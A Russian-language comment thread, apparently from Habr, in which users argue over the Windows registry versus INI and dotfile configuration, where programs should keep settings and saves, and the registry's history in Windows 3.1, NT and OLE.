В моем видении пользователь использует различные программы на своем компьютере. Если ему нужно решить новую задачу (убить баала) - он устанавливает новую программу (диабло 2) и пользуется ей. Когда задача решена пользователь может или удалить программу или оставить ее на диске (в зависимости от кучи параметров).
Пользователь может зайти в игру, сохранить, загрузить состояние.
Но далеко не всегда среднестатистический пользователь может найти сохранение игры в виде файла в какой-то директории.
Таким образом, если он хочет удалить игру, то он не знает как при этом сохранить сейвы игры. Если разработчик сохранил их в documents, то они сохранятся. Правда не факт, что пользователь будет в курсе. Так и будут там лежать годами.
arheops
09.09.2022 00:54Любая возможность записать в католог, где лежат DLL и исполняемые файлы — по умолчанию есть дыра.
Поскольку крайне редко отдельные файлы имеют другой доступ.
И нет, «средний» пользователь не знает вообще ничего про файловую систему, у него какой-то совсем странный набор абстракций в котором в лучшем случае есть слово «папка».
vadimr
08.09.2022 11:19-2Дырень в безопасности – это исполнение модифицированного кода, а не права записи в папку.
Vitaly83vvp
07.09.2022 14:42+6Для многопользовательских, соглашусь, не подходит такое решение, но...
В Linux системах это сделано удобно - есть глобальные настройки, а есть пользовательские, которые хранятся в профиле пользователя. И всё это в текстовом формате. В большинстве случаев. Зависит от самой программы. Причём, удалив эти файлы или, даже, всю папку с пользовательскими настройками, систему не сломаешь - просто настройки "сбросятся на значения по умолчанию".
HemulGM
07.09.2022 14:45+10Если что, то реестр - это тоже разделенная система. Реестр юзера и реестр системы разделён на несколько файлов. И реестр юзера хранится в каталоге пользователя.
Только вот удалять этот файл (NTUSER.DAT) не рекомендуется.Vitaly83vvp
07.09.2022 14:48Да, они тоже делятся на системные и пользовательские и на практике узнавал, что нельзя их удалять или заменять на старые. Иначе больно.
mvv-rus
08.09.2022 02:32+2В Linux системах это сделано удобно — есть глобальные настройки, а есть пользовательские, которые хранятся в профиле пользователя.
Что самое интересное, это есть и в реестре Windows, в стандартных солашениях о хранении конфигурационной информации приложений: раздел Software, предназначеный для этого, есть и в общесистемном корневом разделе (HKEY_LOCAL_MACHINE, куда обычный пользователь, зачастую не имеет даже разрешения что-либо писать)Ю и в пользовательском (HKEY_CURRENT_USER, с полным доступом для пользователя: это, на самом деле — символическая ссылка, своя для каждого пользователя, на один из разделов под ключом HKEY_USERS). Причем пользовательский раздел физически хранится совершенно отдельно об общесистеммного, в файле ntuser.dat внутри профиля пользователя. И предлагается общесистемные настройки и значения по умолчанию хранить в HKEY_LOCAL_MACHINE, а специфичные для конкретного пользователя — в HKEY_CURRENT_USER
Но тут, как всегда встает вопрос с дисциплиной — нужно, чтобы разработчики программ следовали этому соглашению, а они — особенно разработчики кросс-платформеннных программ — делают это, мягко говоря, не всегда.
saboteur_kiev
08.09.2022 04:31+3В Linux системах это сделано удобно
Нет, это просто под Линукс конкретные разработчики так пишут. Никто не мешает разработчикам под MS тоже писать все в профайл пользователя. И многие нормальные девелоперы так и делают.
ProstoTyoma
07.09.2022 14:27+1Просто на
gzipоказалось завязано слишком много внутренних подсистем, всё работало по накатанной. Проклятие легаси во всей красе."Всё работало" - это же благословение, а не проклятие )
HemulGM
07.09.2022 14:36+11Прошу прощения, но чем абсолютный путь в ini файле лучше абсолютного пути в реестре? Разве ini файл кто-то "синхронизирует" при переименовании какой-то папки?
Emulyator
07.09.2022 15:10-1Автор же пишет: "Иногда хочется вернуть те самые файлы .INI, чтобы настройки приложения хранились в одной папке с ним. Кажется, что так было гораздо логичнее и проще. ".
HemulGM
07.09.2022 15:23+5Ты можешь и в реестре не писать полные пути. Полностью использовать как ini. Ни какой разницы нет.
Emulyator
07.09.2022 16:11+2Речь же не про полные пути, а про настройки. Недавно сталкивался с ситуацией, в которой нужно было запустить копию программы с другими настройками. Копию папки с программой сделал, все запускается, но оказалось, что настройки хранятся в реестре и едины для всех копий - облом. Автор прав, хранить в реестре все подряд не самый правильный подход, но и обновлять ini (или другие файлы настроек) в Program Files с правами юзера не получится, и тут уже захламляются другие доступные для пользователя папки изначально не задуманные для хранения приложений.
HemulGM
07.09.2022 16:39+1Вы не совсем правы, AppData именно для этого создана. Там можно легально хранить настройки, только вот суть в том, что опять этот файл будет одинаков для всех копий.
Копию программы с другими настройками можно запустить только если файл настроек хранится именно рядом с ехе. А это противоречит правилам написания программ.Emulyator
07.09.2022 21:13+2Если вы о правиле не давать пользователю доступ на запись в папках где есть разрешение на запуск, то это хорошее правило. Правда в реальности, если сделать поиск экзешников в AppData можно предположить что, именно для них она и создана, т.к. с завидным упорством туда прописывают исполняемые файлы все кому не лень. Или о том, что не гоже одному пользователю устанавливать настройки для программы, которые повлияют на всех пользователей? Тоже хорошее правило, но не всегда есть эти "другие" пользователи и популярность portable версий программ говорит, что не все правила так категорично важны. Если речь о других правилах, то я прошу вас озвучить, навскидку не приходит в голову каких-либо еще идей, а понять хотелось бы. В .Net тот же app.exe.config хорошо себя чувствует в одной папке с app.exe, чем не инишник? )
gru74ik
08.09.2022 01:49Файл будет одинаков для всех копий… А что если использовать здесь ту же идею, что и в Git? Переключился на другую ветку/другой коммит - получил другой файл настроек/другую копию..,
Emulyator
08.09.2022 12:00Конкретно мне был нужен одновременный запуск программы с разными настройками (подключением к БД), тут особо выхода не найти. Но нет особой проблемы написать скрипт, меняющий соответствующие параметры в реестре на нужные при старте (для нескольких программ так и сделал), но это уже не уровень пользователя и костыльно.
iig
08.09.2022 13:03Если программист не предусмотрел работу программы в вот такой позе как вам хочется - тут только костыли. Виртуализация, например.
affinity
08.09.2022 14:30+1Почему бы просто не запустить под разными пользователями? Хоть windows хоть linux так позволяет сделать. Тогда с настройками привязанными к пользователю вы и получите два экземпляра на разных настройках. Зачем доводить аж до виртуализации то
iig
08.09.2022 14:40Если программа с GUI - под linux нужно будет походить с бубном. Да и под Windows тоже. Создать дополнительного пользователя (пользователей), порешать вопросы с авторизацией без пароля, с доступами..
affinity
08.09.2022 14:44Не буду спорить насчёт Linux, не приходилось так делать.
Однако в Windows с этим все порядке. Никаких бубнов и проблем. В моей жизни это кстати частый кейс. Разве что бывает софт который этому препятствует. Но это другой разговор в любом случае
WASD1
07.09.2022 16:22+1В случае *.ini файла у вас есть закрытый список настроек.
Поправили 3 или 33 пути - всё работа сделана.
В случае реестра - вы только опытным пунём можете понять все ли настройки вы поправили или нет.HemulGM
07.09.2022 19:39+4Так же как и в случае с несколькими ini файлами. Разве нет? Если все настройки находятся в одной ветке (в одном файле), то ведь всё то же самое. Правим пути - готово.
saboteur_kiev
08.09.2022 04:32+1В случае *.ini файла у вас есть закрытый список настроек.
С чего это вдруг?
В .ini файле также могут быть пропущены опции.
BRAINKIT
07.09.2022 15:11+23А какое отношение к статье имеет часть заголовка "Выученная беспомощность" ?
engine9
07.09.2022 15:11Таких примеров и в реальности навалом, например пластиковая упаковка из бионеразлагаемых материалов by design будет приводить к накоплению её в среде и в виде многотысячетонных свалок.
Человечество оно такое, краткосрочные выгоды у нас в приоритете по эволюционным причинам.
Aleksandr-JS-Developer
07.09.2022 15:26+7Если же встаёт выбор между похожими (одинаковыми) вариантами, то люди надолго впадают в ступор
Я сыграл около 10-ти тысяч шахматных партий онлайн. Из них около 5 тысяч в блиц (3-5 мин на партию для каждого игрока). Проанализировав партии в блиц, я увидел интересную корреляцию с временем на обдумывание хода и его качеством.
Кажется, чем больше думаешь - тем сильнее ход. А на практике - нет.
В большинстве случаев, когда в блице идёт задержка - это означает, что я не знаю, что делать. Потом долго думаю над ходом а потом с большой вероятностью совершаю плохой ход. Чуть реже встречаются моменты, когда для меня есть много хороших ходов (как правило, в крепко выигранных позициях), но среди них есть сильнейший. Чтобы вычислить сильнейший я засчитываю варианты глубже обычного (в т. ч. из-за того, что их легче считать: много вынужденных ходов у противника). Тут да, ошибок меньше)
miekrudakov
07.09.2022 15:49-4Автор безграмотен, все его 4 пункта - полная лажа. Статью в помойку.
qyix7z
07.09.2022 16:48+14Позвольте ответить, процитировав Ваш же комментарий:
Вы забыли сказать «мамой клянусь». Когда высказываешься без малейшего признака доказательства, это нужно добавлять в конце.
ryo_oh_ki
07.09.2022 17:28+16Автор очень уверен в мифе, что "реестр - это помойка". ???? И автор даже не попытался предположить, а что, если это не так? А даже полностью наоборот - тысячи файлов конфигураций по всем дискам и папкам - вот настоящая помойка! А что если необходимо перемещать все настройки программ вместе не с программой, а с пользователем? На регулярной основе. А что если нужно иметь профиль настроек программ предопределённый или заданный по умолчанию? А что если необходимо единообразно управлять настройками по сети на тысячах машин? А что если нужны механизмы изменения и отслеживания изменения конкретных настроек в реальном времени и не из программы-хозяина?
0xd34df00d
08.09.2022 01:17А что если необходимо перемещать все настройки программ вместе не с программой, а с пользователем? На регулярной основе.
Храню настройки (вима, zsh, гита, эмулятора терминала, и так далее) в гите. Изменил что-то серьёзное — коммит, и откатиться легко. Синхронизация тоже простая. Можно так с реестром?
mvv-rus
08.09.2022 02:17+1Начнем с того, что Git появился сильно позже чем реестр, перемещаемые профили и т.д.
Да и работать с Git надо учиться специально.0xd34df00d
08.09.2022 03:13+3А специально учиться работать с реестром или средствами деплоя профилей настроек не надо? Какие, кстати, знания более общие — гита или этих вещей?
mvv-rus
08.09.2022 03:25Пользователям — не надо вообще. Разработчикам — в общем-то тоже: для них есть стандартный гайдлайн, бери и выполняй. Управление профилями — это задача админов, и им, таки да, надо знать, где, какие и зачем галки (настройки групповых политик) надо устанавливать — например, чтобы не гонять слишком много данных по сети. Впрочем, если вы когда-либо пользовались редактором групповой политики, то могли видеть, что там все, в общем-то, просто.
Ну, а на вопрос про знание Git так и хочется ответить вопросом: а какие знания Git более общие — знание porcelain или знания plumbing?
PS Возможно, что на базе git plumbing можно сделать и систему хранения профилей настроек — штука-то универсальная. Но сомневаюсь, что этим кто-нибудь заморочится.0xd34df00d
08.09.2022 03:32+2Для того, чтобы достаточно эффективно пользоваться гитом для хранения и синхронизации настроек, достаточно выучить ровно три команды.
Я недавно обновил плагин coc.nvim для вима, там немного изменились некоторые настройки, так что я поправил coc-settings.json, и закоммитил это всё одним коммитом, атомарно. Что мне тут предлагает реестр? Как он отвечает на «а что если» исходного комментатора?
mvv-rus
08.09.2022 05:32Для того, чтобы достаточно эффективно пользоваться гитом для хранения и синхронизации настроек, достаточно выучить ровно три команды.
А можно не учить? А то у меня всегда под рукой если Visual Studio, то Git GUI точно, а там вместо этих команд можно на кнопочки понажимать.Что мне тут предлагает реестр? Как он отвечает на «а что если» исходного комментатора?
Например, тем что хранит все настройки пользователя из реестра (HKEY_CURRENT_USER) в одном файле ntuser.dat
Не, я не спорю — эти самые настройки можно было бы и в XML засунуть, и в JSON — лишь бы программы, которые их используют, читали бы их оттуда. Но почему-то довольно многие программы в Windows хотят видеть свои настройки в реестре.0xd34df00d
08.09.2022 16:06А можно не учить? А то у меня всегда под рукой если Visual Studio, то Git GUI точно, а там вместо этих команд можно на кнопочки понажимать.
Можно, разрешаю.
Например, тем что хранит все настройки пользователя из реестра (HKEY_CURRENT_USER) в одном файле ntuser.dat
Не, я не спорю — эти самые настройки можно было бы и в XML засунуть, и в JSON — лишь бы программы, которые их используют, читали бы их оттуда. Но почему-то довольно многие программы в Windows хотят видеть свои настройки в реестре.И как, легко это будет синхронизировать между разными машинами? Смержить изменения? Держать часть настроек специфичными для машины? Я, например, не синхронизирую большую часть
~/.config— всё равно большинство настроек специфично для конкретной машины и её роли (десктоп, ноутбук, конфиг для чужой виртуалки, где просят поправить чужой проект, и так далее), и такие вещи проще бэкапить и потом раз в N лет при апгрейде раскатывать на новую машину с той же ролью.mvv-rus
08.09.2022 17:27И как, легко это будет синхронизировать между разными машинами?
Для корпоративной сети уже есть стандартное решение — перемещаемые профили пользователя. Ну да, мне лично оно не сильно нравится (и намучался с ним тоже), но в корпоративной сети, если задача есть, то лучше решать ее стандартными средствами, а не своим велосипедом. А вот дома, когда от тебя толпа пользователей не зависит — возможны варианты.
И да, в перемещаемых профилях есть и неперемещаемая часть. Та, которая Local. Впрочем, реестра там, кажется нет.
Oxyd
08.09.2022 03:48Начнём с того что первая VCS появилась аж в начале 70-х, а к 95-му году уже CVS вовсю цвёл и пах! А для простых сценариев и учиться не надо (
git add/git commit) У меня, при помощи etckeeper они срабатывают вообще автоматически -- по крону или если какой-то софт обновился с новыми версиями конфигов.
saboteur_kiev
08.09.2022 04:34сейвы и настройки от игрушек тоже в git хранишь и легко синхронизируешь?
Удобно в гит добавлять сейвы от разного софта из разных каталогов?
Aleksandr-JS-Developer
08.09.2022 09:29+1Настройки и конфигурации - это далеко не сохранения игрового процесса. Сохранения процесса, как правило, хранятся как раз в виде файлов в папке с игрой.
Удобно в гит добавлять сейвы от разного софта из разных каталогов?
Храню настройки (вима, zsh, гита, эмулятора терминала, и так далее) в гите. Изменил что-то серьёзное — коммит, и откатиться легко. Синхронизация тоже простая.
saboteur_kiev
10.09.2022 01:03Сохранения процесса, как правило, хранятся как раз в виде файлов в папке с игрой
Вот она, основная мысль.
Проблема в том, что "как правило" у всех разное, несморя на рекомендации от MS.
0xd34df00d
08.09.2022 15:54сейвы и настройки от игрушек тоже в git хранишь и легко синхронизируешь?
Настройки от игрушек, к сожалению, никак не храню, и найти их сходу не смог, когда надо было перетащить настройки управления с одного компьютера до другого.
Кстати, учитывая, что конфиги нихрена не синхронизируются, в том числе, в steam, непонятно, в чей огород это камень.
Удобно в гит добавлять сейвы от разного софта из разных каталогов?
Вопрос одного симлинка.
% ls -l ~/.zshrc lrwxrwxrwx 1 d34df00d d34df00d 42 ноя 9 2019 /home/d34df00d/.zshrc -> /home/d34df00d/Programming/dotfiles/.zshrcsaboteur_kiev
10.09.2022 01:05+1А как автоматически добавить в гит все-все-все симлинки на конфиги от разного софта?
Можно предположить, что можно взять все .* из $HOME, но ведь не весь софт там хранит.
Я пытаюсь акцентировать внимание всех на том, что нет единой рекомендации ни для Линукс ни для Windows, которой бы придерживались все разработчики, чтобы можно было легко сделать автоматический инструмент.Везде бардак - чуть больше или чуть меньше
Ну а бардак в реестре винды - следствие того же самого процесса, а не архитектуры реестра.
Siemargl
08.09.2022 10:13Это ответ типа "зачем нужны базы данных если все можно хранить в текстовых файлах".
И да, ответ - можно - экспорт в текст (нужной ветви) и в гит.
0xd34df00d
08.09.2022 16:08Посты для блога я тоже храню в текстовых файлах. Это плохо, и надо переходить на БД?
IvanSTV
09.09.2022 10:46а кто мешает в файле конфигураций записать пользователя и подгружать относящиеся к конкретному юзеру? Ну, будет не один файл настройки, а сотня user-specified? с отдельным реестром для каждой программы, например? Вариант ничем не хуже общего реестра винды. ИМХО
HemulGM
07.09.2022 15:49+6Все представленные вами проблемы (кроме читабельности без спец. инструментов) имеются и в ini файлах. Мы тоже можем поместить "бинарные" данные в ini файл и прочитав его потом особым образом выполнить код.
Представим, что за автозагрузку у нас отвечает конкретный ini-файл. Он позволяет указать пути к исполняемым файлам и указать аргументы.
Мы также можем в ini файл поместить под каким-то ключом бинарные данные (например в base64 формате). При загрузке у нас выполняется командная строка в параметрах которой чтение этого же ini-файла, чтение ключа с base64 и исполнение.
Aquahawk
07.09.2022 15:51+1Вот буквально сегодня совершенно по другому поводу написал такое:
Но вообще пока я не готов сказать, что есть что-то оптимальное, работает почти всё, плюсы и минусы есть везде, огрести странных и неочевидных проблем тоже можно везде. Всегда рулит понимание разработчиками того, что они выбрали и не пытаться всё переписать каждые 3 месяца. Вообще идея, что можно понять и принять то, что, тебе кажется, ты мог бы построить лучше очень важна и сильна. К сожалению в разработческой среде сейчас очень модно "улучшать" всё вокруг себя, по факту наводя кучу суеты. Иногда нужно просто выполнить задачу. Хорошей прививкой от этого становится просмотр реальных проектов с историей 10+ лет, желательно с экскурсией опытного в этом проекте разработчика. Один из любимейших моих примеров возлагания титанического МПХ на паттерны проектирования ради 15% производительности, это вот этот файл https://github.com/microsoft/TypeScript/blob/main/src/compiler/checker.ts и да, я рефакторил его, и это привело к падению производительности https://github.com/microsoft/TypeScript/issues/17861 поэтому он до сих пор такой. Особенно в играх ты очень часто сделаешь что угодно, ради 15% производительности.
IvanSTV
09.09.2022 11:03с играми проще :) игроман скорей купит железо помощней, потому, ИМХО, с производительностью там не сильно заморачиваются, разве что когда речь идет о заплатках и исправлениях.
а про улучшение каждые 3 месяца - необходимость в этом есть. эксплуатация постоянно ставит новые задачи, а изначально развитие закладывают не все.
Например, в апреле мне поставили задачу автоматизировать один-единственный ручной процесс (т.е. простая примочка уровня копипаст), к июлю он вырос в целый тул, а к ноябрю грозит вырасти в полноценную WMS с контролем сроков годности и синхронизацией с транспортными и ERP-системами компании. Но самый первый код до сих пор так и остался примочкой, и в целом проект состоит из этих примочек, и так как уже толпа людей эксплуатирует его, переписать все так, как надо по-уму, уже не получается по времени. а даже если удастся, то внедрить без бардака тоже не получится. Потому процесс внедрения, получается, будет каждые три месяца. Учитывая, что пользователь не сильно далекий, то внедрение и обновление превращается в вечный процесс.
iig
07.09.2022 16:14+3Если кто-то не умеет работать с информацией в реестре - тут есть 2 пути. Либо почитать где-то про импорт-экспорт-миграцию данных.. Либо пожаловаться как всё слоожнооо..
;)
mpa4b
07.09.2022 17:02Хотелось бы уточнить про zstd vs gzip. gzip -- он одновременно и хреново и медленно сжимает. А вот zstd может или сжимать примерно так же -- но на порядок быстрее, либо сжимать примерно так же медленно -- но с сильно лучшим коэффициентом сжатия. Жду, когда zstd просочится, например, в png :)
NemoVors
07.09.2022 17:24+1Например, после простой переустановки Windows большинство установленных игр и рабочих программ перестают работать просто потому, что их рабочие пути были прописаны в реестре, а по другим путям они не запускаются.Вот тут я бы поспорил. Как раз с играми, что со старыми, что с новыми проблем зачастую нет. Некоторые - да, перестают работать. Но большая часть нет. Стим вообще решает эту проблему - возможно сам следит за реестром, но игры из стима отлично работают после чего угодно. Хоть после переустановки, хоть после переброса в папку. Правда сам стим скорее всего придется переустановить (тут ИМХО, ибо не пробовал запускать ранее установленный стим после переустановки системы).
Да и программ хватает (да хоть бы и блендер или godot engine), которые умеют работать без переустановки, но, как правило, это небольшие утилиты не связанные с взаимодействием с системой. Хотя я видал и фотошоп portable version.
А одна из немногих игр, которая у меня не пережила перенос в другую папку это Fallout 2 (не уверен от какого флибустьера та версия). И кстати не пережила именно из-за хранения абсолютный путей в ini файле :) . Стоило открыть инишник и поправить путь, как игра снова заработала.
Max_JK
07.09.2022 23:37стим не убиваем как таракан, можно удалить все кроме главного бинарника и он просто докачает нужное)
NemoVors
08.09.2022 11:52опять же, для среднестатистического пользователя это удобно. Он может стрелять себе в ноги, потому как есть регенерационная капсула. Ну, а если он решит выстрелить себе в голову, то такой пользователь стиму не нужен :))
IvanSTV
09.09.2022 11:12в целом в Винде бывают удивительные вещи. В 1999 году одна подруга установила ломаную версию Adobe PageMaker 6.5 на Win95. Потом были 98-й, Миллениум, 2000, и все, дистрибутив перестал устанавливаться на версии выше. Но сама программа запускалась, и, что самое интересное, просто летала по сравнению с более новыми версиями PageMaker'а, глючить не глючила, а для нужд верстки учебных пособий инструмента хватало за глаза. Я четко был уверен, что это не должно запуститься в десятке, но подруга переустановила на десятку, и программа все равно работала, при запуске выдавала ругательные окна, но по их закрытии выдавала основной доступный функционал, по крайней мере, функциями. которые могли вызвать сбой, она не пользовалась. До сих пор она раздает своим студентам методички сверстанные в программе, которая должна была прекратить работать в 2002 году.
YuriPanchul
07.09.2022 18:12+3Я помню момент, когда в Windows появилось registry (массово - при переходе на Windows 95) и у меня были ровно те же мысли тогда: параллельная файловая система, при этом сложноредактируемый общий бинарник - хаос увеличится, дополнительная возня, легко сломать соседей и вообще зачем?
Я думаю объяснение может быть вот в чем: в то время менеджмент Микрософта хвалился тем, что берут студентов сразу после университета и обучают их программировать продукты сами. Типа что студентов не портят другие компании и их сразу учат как надо. Реально, работящие люди без длительного индустриального опыта изобретают вот такое.
Я также видел микрософтовский API того времени (1995) для распознавания речи с помощью грамматик и для меня было очевидно, что человек, которому это поручили, никогда не видел других проектов, а просто с нуля изобрел велосипед и на него накрутил. Другие проекты (там был целый консорциум компаний на тему, в который входил и Creative Labs, в котором я работал в тот момент) сразу бросили заниматься своими разработками, так как тогда была распостранена идея, что если микрософт зашел в вашу область, нужно просто смириться и ползти на кладбище.
Siemargl
07.09.2022 23:20+2Реестр уже был ранее в Win3.1 и OS/2
Oxyd
08.09.2022 03:24+1В OS/2 он во первых имеет строго ограниченную глубину дерева, а во вторых хранит не только конфигурацию, но и стейт объектной оболочки WPS ( то есть используется как объектная БД ). Вся системная, не связанная с GUI конфигурация хранится в текстовых файлах.
ryo_oh_ki
07.09.2022 23:22+4Интересно, если всё дело в Windows, Microsoft и низкой квалификации программистов, самой популярной ОС в мире, то почему, например, в Linux продолжаются изобретения аналога реестра по сей день? (/proc, /sys, GConf, Elektra).
khajiit
08.09.2022 12:01+2/procи/sysэто "аналоги" не реестра, а\\??\— это экспортируемая объектная система ядра.
GConf это не linux а gnome — в не-гномообразныз средах его, внезапно, не наблюдается.
Elektra — это вообще что и где оно используется? Pacman такого не находит.С таким подходом вам и kafka за реестр сойдет.
mvv-rus
08.09.2022 02:09+16Реально, работящие люди без длительного индустриального опыта изобретают вот такое.
Все было совсем не так.
У реестра Windows — довольно сложная история. Как и у Windows вообще. Windows в начале 90-х было две — просто Windows (3.x, потом она стала 9x/ME и благополучно на этом померла) и Windows NT (она родоначальник всех соввременных Windows, начиная с Win2K.
Так вот, в Windows 3.0 изначально реестра не было, общесистемные настройки хранились в файлах win.ini и system.ini, имевших одноуровневую структуру разделов, а потому работать с ними было крайне неудобно. Реестр появился в Win3.1 как вспомогательный компонент для поддержки передовой тогдашней технологии OLE. Эта технология — предшественник нынешней COM — имела много интересных возможностей, (кстати, не все из них дожили до наших дней), но в основе ее было связывание друг с другом документов (в том числе — хранящихся в одном файле-контейнере), сделанных в разных программах. Поэтому для полноценной работы OLE система должна была уметь находить эти разные программы. А потому и потребовалось общесистемное иерархическое хранилище информации, об этих программах которым и был реестр. Ну, а в Win95 в реестр были перенесены и многие настройки из win.ini/system.ini — и это было шагом вперед, все-таки формат реестра был удобнее, чем одноуровневые ini-файлы.
В NT же реестр изначально использовался как общесистемное иерархическое хранилище конфигурационной информации ОС, причем — хранилище, независимое от файловой системы. В том числе, реестр использовался на ранних стадиях загрузки ОС, когда полноценная файловая система ещё не была доступна. Изобрели этот реестр, естественно, люди из команды разработки NT (ядро этой команды было родом из DEC), у которых как раз с индустриальным опытом все было нормально. Так что студенты без опыта тут были не при делах.
Работа с реестром была изначально сделана через специальный API, редактировать его в «сыром» бинарном виде и не предполагалось.
Нет, можно было, наверное, не устраивать централизованное хранилище, а хранить всю конфигурационную информацию в фаловой системе (как в Unix), но у этого подхода был свой недостаток: в разных версиях ОС эта информация оказывалась в самых разных местах. В результате, например, программные пакеты от GNU, чтобы ими можно было пользоваться в разных *nix, имели в своем составе специальный скрипт ./Configure который проверял все эти закоулки файловых систем и записывал реально используемые в данной установке ОС пути в переменные окружения, на основе которых потом ставился в систему пакет.
Короче, резоны делать реестр в том виде, в котором он был сделан, были.
Ну, а дальше была долгая история о том, как обойти ограничения реестра. Например, очень интересно выглядело хранение конфигурации программ на .NET Framework, большая часть там зранилась как раз в конфигурационных файлах в папке с приложением, но это была уже другая история.
garbagecollected
08.09.2022 15:13+2Полностью с вами согласен, но хотелось бы особо выделить тонкий момент.
реестр изначально использовался как общесистемное иерархическое хранилище конфигурационной информации ОС
Особо следует подчеркнуть: реестр изначально хранил в себе конфигурационную информацию самой ОС. Никто не призывал хранить в реестре конфиг сторонних приложений. Где-то же надо хранить условному приложению Калькулятор координаты положения своего окна и включенный режим работы перед его закрытием. А от того, что сторонние приложения гадят в реестр своими конфигами, процесс чтения реестра занимает больше времени. В запущенных случаях ОС вообще не может выполнять базовые операции, ожидая каждого ответа реестра по несколько секунд.
YuriPanchul
08.09.2022 21:37+1Про OLE я хорошо помню - книжка про OLE 2 была топ-бестселлером 1995 года в магазине Computer Literacy Bookstore в Silicon Valley, а люди, у которых стояло в резюме OLE 2 - были самыми горячими специалистами на рынке и требовали баснословные по тем временам зарплаты. Тогда возникла движуха с идеей "в будущем никаких отдельных приложений не будет, а все программы будут plug-in-ами Микрософт Ворда". Но такого будущего не случилось, а вот редактировать попорченное registry несколько раз мне пришлось (правда уже забыл детали).
Вообще с OLE и registry получилось "гладко было на бумаге, да забыли про овраги". Пока чисто микрософтовские программы обменивались информацией друг с другом - все было более-менее, хотя эти OLE объекты делали все медленно и это раздражало. Но когда куча программистов из других компаний, которым лень все подчищать после каждого апдейта и некоторые из которых делают на отцепись, чтобы прошли тесты - когда они все начали это использовать, и потом оно крэшилось и происходило registry corruption - вот тогда туши свет бросай гранату.
mvv-rus
08.09.2022 22:06+1Тогда возникла движуха с идеей «в будущем никаких отдельных приложений не будет, а все программы будут plug-in-ами Микрософт Ворда».
ЕМНИП, немного не так — идея была в том, чтобы центральным элементом в работе пользователя с компьютером была не программа (не важно, Word там иди что), а документ. OLE 2 мыслился как основа для этого документоцентричного мира. Замах был большим: например, OLE 2, в принципе, давала возможность редактировать вставку в основной документ (например Word) сделанную другой программмой, прямо по месту в окне основной программы. И программы из MS Office это умели (пользовался). И все нужные для этого интерфейсы были вполне описаны, так, чтобы эту возможность могли использовать и сторонние программы. Но в реальности все это было зверски сложно в реализации, наверное, поэтому и не взлетело.
PS Вообще-то программы для OLE 2 в реестр лазили только при установке и только через API, так что не они были основными виновниками повреждения реестра. Скорее уж тут больше постарались всяческие программы-ускорители Windows.
А вот составные документы-контейнеры, поддерживавшие OLE 2 были, мне помнится, действительно слабым местом.YuriPanchul
09.09.2022 00:05OLE 2 делался поверх COM, а OLE 1 поверх DDE - тоже сам по себе медленный и странный интерфейс. Все такое было непростое и все это при малом количестве памяти.
YuriPanchul
08.09.2022 21:42*** В NT же реестр изначально использовался как общесистемное иерархическое хранилище конфигурационной информации ОС ***
Согласен с мнением выше. Для использованием внутри ядра ОС в Windows NT registry наверное было оправдано. Я не сомневаюсь в квалификации команды из DEC. А вот потом наверное решили натянуть сову на глобус силами волюнтаристских менеджеров и студентов, и для Windows 95 сделать это для всех приложений (или кусками даже для Win 3.1 for Workgroups).
mvv-rus
08.09.2022 22:17Тут MS тоже можно понять: альтернативой реестру была мешанина ini-файлов с одноуровневой структурой. Если вы успели поработать с Win3.0 (я успел), то должны были запомнить этот тихий ужас. Рееестр был все же шагом вперед в плане наведения порядка. А то, что работать с ним можно было только в специальной программе — дык в Windows все было так, Unix-way там и близко не валялся — вплоть до того, что в исходной Windows 3.X командной оболочки просто не было (был только унаследованный от DOS command.com — работавший в реальном режиме DOS (сама-то Windows работала обычно в 16-битном защищеном режиме).
Короче, тяжкие времена были.khajiit
08.09.2022 22:52+1Ну, тихий ужас был не в множестве файлов (более другие системы не просто прекрасно себя чувствуют с /etc, но еще и заводят conf.d и прочие инклюды), а в отсутствии систематизации этого всего (того самого /etc).
Проблему решили радикально, отрубив хвост по самый череп.
YuriPanchul
09.09.2022 00:00Я успел поработать даже с Windows 2.1 и далее с Win 3.0, для которого написал графический редакторик в 1990 году в Москве в совместном предприятии АС, которое потом стало Steepler и распостраняло Windows в СССР. У меня был даже емейл в домене .su :-)
victor_1212
08.09.2022 19:03+1> хаос увеличится, дополнительная возня, легко сломать соседей и вообще зачем?
насколько помню они в то далекое время слегка двинулись на object oriented development (OLE и пр.), причем эту лабуду (registry win3.x) также сделали на NT, имея в виду в одном файле иметь всю иерархию системных объектов и связей между ними т.е. системную конфигурацию как это тогда понимали, конечно это сразу вызывало вопросы, но на словах выглядело достаточно научно и пр.
nmrulin
07.09.2022 21:30Да, лично если такой выбор возможен предпочитают именно ini . Программа работает прекрасно после переустановки Windows и т.д.
Но в больших проектах как правило без правки реестра всё равно не обойтись.
iandarken
07.09.2022 23:34+2Реестр — ИМХО должен вообще использоваться только операционной системой и хранить все связанное с ней.
Программы должны хранить свои настройки — там где сейчас большинство и хранит — в AppData. И — да, делить на Local и Roaming. И винде стоит заиметь кнопочку «Подготовить бандл для переустановки» — которая сохранит все из AppData/Roaming и отдаст юзеру. И после реинсталла его накатит обратно. И программы сразу найдут свои настроечки. А то я заманался вручную профили Лисы таскать
Игры — ну им логично хранить сейвы в Documents, как сейчас. Потому что при переустановке — я понесу «Документы» за собой.
v1000
08.09.2022 00:08На счет реестра не знаю, но вот Universal Windows Platform (UWP) это вообще какая-то жесть. Мало того, что она создает папки на диске, в которые без танцев с бубном не залезешь, так еще и иногда "теряет" их. И они либо впустую место на диске занимают, либо вообще винда не может переустановить программу, пока саму винду не переустановишь.
IvanPetrof
08.09.2022 05:15Было бы прикольно, если бы программе (без админских прав) был разрешё доступ на запись только в свои чётко определённые ветки реестра. И чтобы эти ветки реестра прозрачно (самой виндой) реплицировались в какие-нить файлы типа ini (и фактически бы там и хранились и читались оттуда), И чтобы эти файлы веток реестра винда бы складывала в чётко определённые папки программы (да хоть в programfiles, т.к.писать туда будет не сама программа на прямую, а через репликацию виндой ветки реестра).
Тогда программу можно было бы переносить простым копированием.ryo_oh_ki
08.09.2022 06:48+1Вы удивитесь, но всё это уже есть в реестре много лет: и права доступа на ключи, и виртуализация ini-файлов при помощи реестра, и подключение собственных файлов реестра, которые могут быть где угодно, хоть на другой машине.
Если автор программы позаботиться, то программу можно будет легко переносить. Все механизмы для этого есть в наличии.
IvanPetrof
08.09.2022 08:55Права доступа разделяются между пользователями? Или каким-то образом между приложениями? Я бы хотел второе.
Если приложение может писать в 100500 веток реестра без чёткой семантики названий (придумывая свои а не следуя общим правилам), то потом искать это замучаешься.
На мой взгляд, проблема в том, что микрософт постеснялась в своё время «всех построить» и решила, что всё само собо организуется. В результате все пошли кто в лес кто по дрова.
Markscheider
08.09.2022 11:33+1внутрь файла .REG можно встроить исполняемый файл (бинарник) с функцией автоматического выполнения
